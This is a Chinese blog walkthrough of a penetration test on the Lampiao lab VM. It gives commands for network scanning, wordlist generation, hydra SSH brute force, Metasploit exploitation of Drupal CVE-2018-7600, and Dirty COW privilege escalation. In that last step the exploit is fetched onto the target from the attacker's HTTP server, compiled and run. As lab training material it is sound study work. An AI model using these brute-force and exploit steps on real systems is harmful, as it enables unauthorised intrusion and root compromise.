零基础渗透测试全程记录(打靶)——Lampiao

一、打靶总流程

1.确定目标:

        在本靶场中,确定目标就是使用nmap进行ip扫描,确定ip即为目标,只是针对此靶场而言。其他实战中确定目标的方式包括nmap进行扫描,但不局限于这个nmap。

2.信息收集:

        比如平常挖洞使用fofa,天眼查,ip域名等进行查,在我们这个靶场中比如信息收集包括查看源码,使用工具dirb等。

3.发现漏洞:

        那些理论比如sql注入,文件上传等,或者找到相关的系统信息,去网上找相关的exp这些都是为了拿到webshell。

4.漏洞利用:

        漏洞利用就是使用漏洞拿到webshell。

        webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,也可以将其称做为一种网页后门。

5.权限提升:

        权限提升,就是所谓的提权,因为一般进入拿到webshell后进入到服务器了都是低权限,在接下来的靶中我们的目标都是拿到root权限,所以拿到webshell后是低权限用户,这个时候我们需要一系列的方式进行提权,最后拿到root权限,即为结束。

二、打靶实例详解


文章内的靶机及脚本关注后私信获取

        1.首先将靶机以及kali启动。

         2.注意将两者的网络适配器均调整为NAT模式(确保二者是在同一个网段下)。

         3.从kali中打开终端,执行ip a命令查看kali的ip地址。

        4.使用nmap工具来确认要打的靶机的ip地址。 

nmap -sP 192.168.190.0/24

        在上面扫描出的ip地址中,.1、.2、.254、.138都是其它的一些ip地址,所以在此确认要进行攻击的靶机的ip地址为:192.168.190.140。

        5.接下来继续进行信息收集,信息收集的方面以及方式有很多,这里信息收集是针对此靶机的信息收集。

        6.扫描靶机开放了哪些端口。

nmap -p- 192.168.190.140

        可以看到此靶机开放了22、80、1898端口。其中:开放了22端口ssh,可以想到对其进行爆破,然后通过命令行模式远程连接系统服务器;开放了80端口http,说明可以通过浏览器访问到其地址,可以对其进行常见漏洞测试;开放了1898端口,可以联想到访问web端时将其默认的80端口修改为1898进行访问 。 

        7.首先对80端口进行查看,发现并没有什么有价值的信息。

        8. 查看页面的源码,发现也没有有价值的信息。 

        9. 想到1898端口,对其进行访问,发现其是一个网页。

        来到这个网页,可以想到查看源代码、sql注入、扫目录等操作。

        10.点击网页内的图片发现访问了一个新的地址,其url内出现了参数。

        11.看到了参数就想到将其进行修改查看是否有其它有价值的页面。

        12.当将其修改为2后,可以看到新的网页内存在一个地址,对其进行访问后发现是一段录音,其告诉了我们一个用户名——tiago。

        13.继续尝试将其修改为3后发现没有什么可用信息。

        14.将其修改为4后发现找不到页面了,所以至此就没有继续修改下去的价值了。

        15. 至此又想到扫描这个站点的目录,因为开发人员在开发网站时可能会遗留一些关键性的文件,这些文件内可能存储一些非常重要的信息。

        16.使用dirb工具对网站目录进行扫描。

dirb http://192.168.190.140:1898/

        17.在扫描出的文件中,我们优先访问robots.txt文件,因为一般来说,robots.txt里面放的是一些不希望被搜索引擎的网络爬虫爬取到并收录的内容,因此就更有可能是我们需要的文件。

        18. 依次访问标记为Disallow的文件,当访问到CHANGELOG.txt文件的时候可以看到下面的内容,可以在返回的内容中看到版本信息——Drupal 7.54, 2017-02-01。

        19.至此,经过信息收集,我们获取到了下面两个信息:

  • 用户名:tiago
  • 版本:Drupal 7.54, 2017-02-01

        因此至此有了两条思路:

  • 利用已知用户名进行爆破
  • 利用已知的版本信息去网上搜索exp

        20.首先来尝试第一条思路,使用工具进行爆破。

        21.爆破之前需要使用cewl工具生成一个密码字典。

cewl http://192.168.190.140:1898/ -w password.txt

        22.接下来使用hydra工具来进行爆破,爆破之后成功得到了用户名所对应的密码——Virgulino。

hydra -l tiago -P password.txt 192.168.190.140 ssh

        23.用爆破获得的密码成功登录。

ssh [email protected]

        24.但是发现此时用户的权限是低权限,因此还要对用户进行提权。

  • id为0 ——root用户
  • 0 < id < 1000 ——服务用户: 为服务提供权限  
  • 1000 <= id <=60000 ——普通用户

        25.接下来尝试第二种思路,网上查找对应版本的漏洞。

        26.通过搜索查找到了一个远程代码执行漏洞(靶机的版本在漏洞的影响范围内)——CVE-2018-7600。

        27.接下来使用msfconsole工具来搜索对应的漏洞并进行漏洞利用。

msfconsole

        28.搜索对应版本,成功搜索出了8个exp。

search Drupal

        29.因为刚刚搜索到的漏洞是CVE-2018-7600,所以我们选择利用2018年的漏洞,也就是编号为1的exp。

        30.查看需要进行配置的参数。

show options

        31.进行参数配置。

set rhosts 192.168.190.140
set rport 1898

        32.执行run命令后,成功连接到了靶机。

run

        33.执行shell命令实现交互。

        34.发现进入的是一个伪终端,因此还要将其转换为真终端,执行下面的命令就将其变成了真终端。

python -c 'import pty; pty.spawn("/bin/bash")'

        35. 发现此时用户的权限是低权限,因此还要对用户进行提权。

        36.下面进行提权。

        下面是linux提权的几种方式:

  • 内核提权:脏牛提权最为典型 ,内核提权一般包括3个步骤,信息收集发现版本号,找到相关版本的exp,使用找到的exp对目标发起攻击,完成提权功能。
  • 利用suid提权 
  • 利用sudo提权
  • mfs提权
  • mysql提权:包括udf mof提权方式

        37.首先查看系统版本。

uname -a

        38.通过搜索,发现此版本可以使用脏牛提权。

        39.搜索exp。

searchsploit dirty

        40.将要使用的exp下载到本地。

locate linux/local/40847.cpp
cp /usr/share/exploitdb/exploits/linux/local/40847.cpp /home/kali/桌面

        41.再从本地开启web服务。

python3 -m http.server 8083

        42. 将exp下载到靶机,然后将其进行编译并执行。

cd /tmp
wget http://192.168.190.138:8083/40847.cpp
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o yc 40847.cpp -lutil
./yc

        43.切换到root用户,此时即为root权限。

su root
dirtyCowFun
id

        43.寻找flag。

        44.至此我们就成功拿下了靶机!!!

猜你喜欢

转载自blog.csdn.net/weixin_62808713/article/details/131954884
今日推荐